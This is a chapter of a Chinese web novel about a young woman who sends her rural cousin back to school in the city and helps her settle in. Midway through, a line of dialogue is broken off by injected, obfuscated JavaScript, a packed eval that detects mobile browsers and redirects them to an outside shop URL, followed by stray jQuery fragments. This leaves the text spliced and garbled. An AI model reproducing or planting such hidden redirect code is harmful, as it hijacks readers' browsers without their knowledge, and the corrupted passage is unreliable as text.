默认冷灰
24号文字
方正启体

7. 上学啦

作者:路灯鱼本书字数:K更新时间:
    陈蕴一边反思自己,一边又给宋舒兰做了几件衣服,长裙短裙裤子衬衫都有,每一件都是别出心裁的设计。


    连书包铅笔橡皮作业本等等都买齐了,直到拖无可拖。


    开学的前一天晚上,陈蕴索性将这些东西一股脑儿地摊在宋舒兰面前,眼睛一闭道:“对不起我骗了你,我没打算让你去打工,从一开始带你来桉城的目的就是让你继续上学,所以早点睡吧,明天早上我送你去学校。”


    等待宋舒兰回答的时间里,陈蕴忽然领悟了自己为什么不敢说,因为她在害怕,她觉得宋舒兰大概率会拒绝。


    虽然就算被拒绝她也会强行送宋舒兰去学校就是了……


    她愿意尊重宋舒兰意愿,但前提是这种“意愿”出自本心,而不是长年累月被洗脑被驯化后做出的决定。


    果然,宋舒兰愣在当场,像是听到了什么天方夜谭般,反应过来后把头摇成拨浪鼓,道:“我不去,表姐你在逗我玩?我早就不上学了啊。”


    她的目光执拗,语气坚决。


    陈蕴不打算给宋舒兰拒绝的权力,因为此刻的宋舒兰不会知道自己拒绝的到底是什么。


    就像是法律规定了精神障碍的女性没有性同意权一样,因为她们在答应的那一瞬间不会知道自己答应的到底是什么。


    这并非是剥夺了她们的权力,而是出于对她们的保护。


    陈蕴感到头痛,她知道当人陷入自己那套固有逻辑的时候,并不是三言两语就能劝得动的。


    因此她收起了往日温和的笑脸,平淡道:“借读手续已经办好了,东西也都买齐了,我是在通知你,不是商量。”


    严肃起来的表姐令宋舒兰有些害怕,她咬着唇,拧眉道:“可是……可是那会花很多钱的,我怎么能不赚钱还花钱呢?”


    “你哥比你大这么多,不也还是在花钱?你要跟我说他是个男的,所以花钱理所当然吗?”


    宋舒兰没说话,过了一会儿才小声道:“可是爹娘不会同意的。”


    “不告诉他们就好了,反正也不需要他们给钱,有我呢。”陈蕴道。


    可是我怎么能心安理得地花你的钱呢?宋舒兰这么想着。


    她原本已经接受了自己在家辛勤劳作,为爹娘和哥哥奉献一生的命运。能够被表姐带进城务工已经是好运了,重回学校读书根本就是想都不敢想的事情。


    她的内心深处骤然升腾起的不是喜悦,而是巨大的茫然。


    茫然过后,曾经被她压抑的那些不甘心丝丝缕缕地冒出来钻进她的脑海,这让她近乎羞愧地手足无措道:“可是为什么?我又笨又懒,我没脑子,不通人情,见到亲戚邻居都不知道喊人,我……”


    她说着那些被爹娘骂过千百遍的话。


    陈蕴捂住了她的嘴,认真道:“你不是,你很好。起码比你那个除了学习成绩一无是处的哥哥强千百倍。”


    宋舒兰红着眼睛一头扎进陈蕴怀里,双手抱住表姐的腰。


    陈蕴拍了拍她的后脑勺,轻声道:“往后不要再说这些你自己都不认可的话了,我不是你爹娘,我不会骂你贬低你,在我面前你可以想说什么说什么,想做什么做什么。”


    顿了下又强调道:“不过去上学这事没得商量,必须听我的。”


    “嗯。”宋舒兰在她怀里闷闷地出声,哽咽道,“你不是爹娘,你是表姐,是最好的姐姐。”


    *


    这天晚上宋舒兰基本没睡着,挂着一双熊猫眼一大早爬起来,整理好自己的书包,又去帮陈奶奶做饭。


    陈蕴揉着眼睛打着哈欠出来时饭正好上桌,目光扫过宋舒兰,脚下一顿:“怎么没穿新衣服?”


    陈奶奶道:“我刚也问了,舒兰说舍不得穿呢。”


    在宋舒兰的观念中,新衣服就是要放着留到“有事儿”的时候再穿的,尽管她也不知道什么情况下才算“有事儿”,上学算吗?


    “去换下来。”陈蕴言简意赅道。


    她很清楚城里某些十几岁半大孩子的德行,如果宋舒兰今天真的穿着带补丁的衣服去学校,十有八九会被嘲笑排挤的。


    她好不容易才培养起来宋舒兰的一点点自信,绝不能毁在这些微末的细节上。


    而且,她还有另外一个目的……


    宋舒兰虽然不知道为什么,但还是很听话地乖乖去了。


    桉城一中就在附近,走二十多分钟就到了。校门口乌泱泱挤的全是初一新生和家长,大家谁也不认识谁,宋舒兰混迹在其中,仿佛也只是最普通的一员,没人知道她是来自偏远山区,还曾辍学过一年,这很大程度上缓解了她的紧张。


    “姐,你回去吧,我可以的。”宋舒兰站在教室门口道。


    陈蕴嗯了声:“我晚上来接你,你先进去吧。”


    她看着宋舒兰进了教室,找了空座坐下,没一会儿,班主任过来,对家长们下了逐客令,陈蕴远远地冲宋舒兰挥了挥手,转身走了。


    旁边一位阿姨笑着同她打招呼:“送妹妹啊?亲妹妹?”


    “嗯,对。”陈蕴道。


    “你们长得不像啊,不过姐妹俩感情蛮好的嘞。”


    陈蕴不太想跟陌生人聊这些有的没的,敷衍地笑了下便打算快步走了。


    “我看你妹妹穿的裙子蛮漂亮的,刚才我女儿盯着看了半天,哪里买的?。”阿姨又问。


    陈蕴脚下一顿,回过头来时脸上的笑容真诚了许多,道:“那是我做的,我是桉城大学服装设计专业的学生,阿姨您想要的话我可以给您女儿也做一件,只要给布料钱和加工费就好了。”


    “这样啊,那你手可真巧。”


    陈蕴看出来她有些犹豫,又道:“不贵的,算下来比去店里买便宜。”


    阿姨还是没说要,随意东拉西扯了几句就走了。


    第一个潜在客户流失,陈蕴叹了口气。


    *


    下午,陈蕴接宋舒兰时到的有些早,站在校门口大榕树下乘凉,放学铃声响了约五分钟后,她看到宋舒兰背着书包嘴角耷拉着心事重重的样子走出学校大门,四下张望,见到自己时才露出笑意,小碎步跑过来喊:“姐姐。”


    回去的路上陈蕴试探问道:“老师和同学好相处吗?”


    “都挺好的。”宋舒兰点头,“我发现城里的老师都不打人哎,也不骂脏话,有同学上课捣乱也只是被训几句,然后罚站。”


    陈蕴又问:“功课呢?跟得上吗?”


    “能的,我之前自学过哥哥的初中课本,所以不难。”


    陈蕴放弃猜测,干脆直接问道:“那你今天放学时为什么不开心?”


    “啊……这个……”宋舒兰挠头,苦着一张脸道,“因为我今天下午数学测验上得了最高分,老师让我做数学课代表。”


    陈蕴哭笑不得:“这是好事啊,你怎么这个反应?”


    “我不知道该怎么做,老师还让我明天收作业,可是我今天都没有跟同学讲话,我不敢……”


    “你在怕什么?”


    怕什么呢?宋舒兰直到这时才细细琢磨了下自己的心思,有些不确定道:“可能,因为他们都是城里的孩子,我……”


    有些自卑。


    “你现在也是啊。”陈蕴打断她道,“不是都喊我姐姐了?我也把你当亲妹妹,你不需要再去想从前,从今天起你和他们的起跑线是一样的。”


    “我没办法一直在你身边,所以你要自己强大起来,即


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17046533|194741||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    便心里的胆怯短时间克服不了,那也要装出一副自然的样子来,你越露怯别人越欺负你。”


    这天晚上宋舒兰早早睡了,第二天早上被鸟儿吵醒时还有些恍惚,后知后觉地意识到自己又回到了学校,以后要像筒子楼里其他的孩子们一样去上学了。自从见到姐姐之后,她每一天过得都是从前做梦都不敢想的生活。


    怎么会有人愿意花钱供一个从没见过的女孩读书呢?这世上怎么会有姐姐这么好的人呢?


    她想不通,但她知道无论如何不能辜负姐姐的期望。


    宋舒兰没要陈蕴送,自己去了学校,在座位上磨蹭许久,眼看还剩十分钟上课,一咬牙想着不能给姐姐丢脸,才起身轻声细语地问同桌:“你的数学作业写了吗?交给我一下?”


    同桌瞪大了眼睛:“天呐你总算理我了,昨天我问你叫什么你都不回答。”


    “啊?有吗?对不起我没听见。”宋舒兰傻眼。


    “没事没事,我写完了,给你。”同桌摆摆手从书包里翻出作业本给她。


    宋舒兰鼓起勇气,又去前面,打算从前往后收,第一桌的两位男生正在翻花绳,她如法炮制地小声问:“数学作业可以交给我一下吗?”


    没人理她,她以为对方没听见,又重复了一遍,其中一个男生抬头瞥她一眼道:“没看我忙着呢,在我桌上,自己找吧。”


    他课桌上堆的书高度都快超过脑袋了,宋舒兰翻了好半天都没找到,一时间有些犯难。


    恰好这时语文课代表也过来收作业,他只敲了敲桌子说:“作业。”


    两位男生立刻放下手中的花绳找给他。


    还能这样?


    宋舒兰想起昨天姐姐说的话,沉默了会儿,握着拳头道:“你们自己拿给我,不然我不收了,就跟老师说你们没交。”


    “别啊,这么凶干嘛,给你给你。”两位男生露出讨好的笑。


    宋舒兰找到了正确的方式,也不跟同学客气了,每到一桌跟只简短的板着脸说:“交数学作业。”


    对方很快就会放下手头儿的事情给她,当然,没写的除外,她只需要把没交作业的人名记在纸上,和作业本一起送到老师办公室就算完成任务。


    适应了之后也不觉得这活儿难办了,并且还因此很快将全班同学认全了,偶尔有些同学会拜托她:“求求了,我还没抄……咳,没写完,等会儿再来收我的吧。”


    宋舒兰也愿意当没看见。


    这个也是姐姐教她的,姐姐说:“只要他们没从你收走的作业里面拿走去抄,其他你不用管。我是要你态度强硬一点,但也要适当,管得太多了就会容易被同学骂拿着鸡毛当令箭,班委和课代表们就是容易夹在老师和同学之间,两头不讨好,这个度你要自己把握。”


    很快,宋舒兰也能和同学们在收作业之外说笑几句了。她不再感到拘束,每天家和学校两点一线,过着从未有过的轻松日子,连家务都做得很少,姑奶奶几乎不让她和姐姐动手,总打发她们有时间就去多看书。


    宋舒兰开学的第二周,陈蕴也快开学了,正在书桌前整理自己的东西,所谓书桌其实就是缝纫机的台面,老式缝纫机的机头部分是能翻下去放进凹槽里的,将盖板盖上就成了书桌,她不用缝纫机的时候宋舒兰就会在这里写作业。


    陈蕴余光扫见宋舒兰进屋,神色有些不对,忙问:“又怎么了这是?”


    宋舒兰对姐姐这种随时能看透自己情绪的能力感到非常不可思议,挠了挠头道:“没什么大事,就是我同桌说想请你给她也做一件裙子。我怕耽误姐姐你的事情,没有答应,就说回家先问问你。”


    陈蕴瞬间喜笑颜开,她谋划了这么久的生意总算可以开张了。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)